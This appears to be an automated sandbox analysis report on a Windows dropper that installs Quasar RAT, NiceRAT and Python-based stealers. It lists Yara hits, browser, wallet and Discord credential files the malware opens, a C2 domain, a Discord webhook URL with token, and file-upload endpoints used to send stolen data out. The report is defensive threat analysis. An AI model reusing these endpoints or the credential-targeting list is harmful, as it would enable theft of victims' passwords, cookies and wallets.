Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Queries volume information: C:\Users\user\AppData\Roaming\SearchServices.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\curl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\crpasswords.txt VolumeInformation
Source: C:\Windows\System32\curl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\crcookies.txt VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 42_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

42_2_0000000140001B54

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00000264CC277960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_00000264CC277960

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 5_2_00007FF728806B50 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

5_2_00007FF728806B50

Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Stealing of Sensitive Information

Yara detected CStealer

Source: Yara match

File source: 0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected NiceRAT

Source: Yara match	File source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Quasar RAT

Source: Yara match	File source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3077536564.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w85VkFOxiD.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Update.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal communication platform credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Discord
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\DiscordCanary
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\DiscordPTB
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\DiscordDevelopment

Yara detected Generic Python Stealer

Source: Yara match

File source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: Yara match

File source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected CStealer

Source: Yara match

File source: 0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected NiceRAT

Source: Yara match	File source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Quasar RAT

Source: Yara match	File source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3077536564.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w85VkFOxiD.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Update.exe PID: 7180, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED

Yara detected Generic Python Stealer

Source: Yara match

File source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 File and Directory Permissions Modification	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Native API	1 Windows Service	1 DLL Side-Loading	11 Disable or Modify Tools	1 Credential API Hooking	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	11 Input Capture	35 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	12 Registry Run Keys / Startup Folder	1 Windows Service	1 Abuse Elevation Control Mechanism	NTDS	1 Query Registry	Distributed Component Object Model	1 Credential API Hooking	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	712 Process Injection	2 Obfuscated Files or Information	LSA Secrets	231 Security Software Discovery	SSH	11 Input Capture	214 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	1 Scheduled Task/Job	1 Timestomp	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Registry Run Keys / Startup Folder	1 DLL Side-Loading	DCSync	51 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Rootkit	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	51 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	712 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	2 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
w85VkFOxiD.exe	68%	ReversingLabs	Win32.Dropper.Dapato
w85VkFOxiD.exe	59%	Virustotal		Browse
w85VkFOxiD.exe	100%	Avira	TR/Dropper.Gen
w85VkFOxiD.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	100%	Joe Sandbox ML
C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	63%	ReversingLabs	Win64.Trojan.Zusy
C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	63%	Virustotal		Browse
C:\Users\user\AppData\Local\SecurityHealthServices.exe	63%	ReversingLabs	Win64.Trojan.Zusy
C:\Users\user\AppData\Local\SecurityHealthServices.exe	63%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	64%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_ARC4.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_Salsa20.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_chacha20.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_pkcs1_decode.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aes.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aesni.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_arc2.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_blowfish.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cast.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cbc.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cfb.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ctr.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ctr.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des.pyd	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des3.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ecb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ecb.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_eksblowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_eksblowfish.pyd	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
ipwho.is	0%	Virustotal	Browse
discord.com	0%	Virustotal	Browse
bardu3662.duckdns.org	1%	Virustotal	Browse
geolocation-db.com	0%	Virustotal	Browse
windowsupdatebg.s.llnwi.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://ipwho.is/	0%	URL Reputation	safe
https://geolocation-db.com/jsonp/81.181.60.11	0%	Avira URL Cloud	safe
bardu3662.duckdns.org	0%	Avira URL Cloud	safe
https://goAppVClientCmdlets.psm14	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5	0%	Avira URL Cloud	safe
https://api.g	0%	Avira URL Cloud	safe
https://avatars.githubusercontent.com/u/58574988?v=4	0%	Avira URL Cloud	safe
bardu3662.duckdns.org	1%	Virustotal		Browse
https://avatars.githubusercontent.com/u/58574988?v=4	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
store4.gofile.io	31.14.70.245	true	false		high
ipwho.is	147.135.36.89	true	false	0%, Virustotal, Browse	unknown
discord.com	162.159.135.232	true	false	0%, Virustotal, Browse	unknown
bardu3662.duckdns.org	92.44.20.216	true	true	1%, Virustotal, Browse	unknown
api.github.com	140.82.116.5	true	false		high
api.ipify.org	104.26.12.205	true	false		high
geolocation-db.com	159.89.102.253	true	true	0%, Virustotal, Browse	unknown
api.gofile.io	51.38.43.18	true	false		high
windowsupdatebg.s.llnwi.net	69.164.41.0	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://geolocation-db.com/jsonp/81.181.60.11	false	Avira URL Cloud: safe	unknown
bardu3662.duckdns.org	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5	false	Avira URL Cloud: safe	unknown
https://api.gofile.io/getServer	false		high
https://api.ipify.org/	false		high
https://store4.gofile.io/uploadFile	false		high
https://ipwho.is/	false	URL Reputation: safe	unknown
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/latest	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/latest089	R3nzSkin_Injector.exe, 00000003.00000002.1718193838.0000019E9FED5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mhammond/pywin32	SearchServices.exe	false		high
https://contoso.com/License	powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/R3nzTheCodeGOD/R3nzSkin/releases/tag/v3.3.0	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/R3nzTheCodeGOD	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/R3nzTheCodeGOD/R3nzSkin/releases/download/v3.3.0/R3nzSkin.zip	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://goAppVClientCmdlets.psm14	powershell.exe, 00000001.00000002.1731911196.0000000007499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.github.com/users/R3nzTheCodeGOD/followers	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store4.gofile.io/uploadFileHOMEDRI	cmd.exe, 00000040.00000002.1853161063.00000271FC400000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/reactions	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/LICENSE-2.0	SearchServices.exe, 00000005.00000003.1684653842.00000264CA9B5000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1684576836.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1684576836.00000264CA9B4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/following	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.github.com/users/R3nzTheCodeGOD/events	R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FE000.00000004.00000800.00020000.00000000.sdmp, R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.1696710290.0000000004B81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	w85VkFOxiD.exe, 00000000.00000002.1683609248.0000000004914000.00000004.00000020.00020000.00000000.sdmp, Update.exe, 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp	false		high
https://store4.gofile.io/uploadFile;	cmd.exe, 0000003A.00000002.1836427496.00000245377C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1718406196.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	false		high
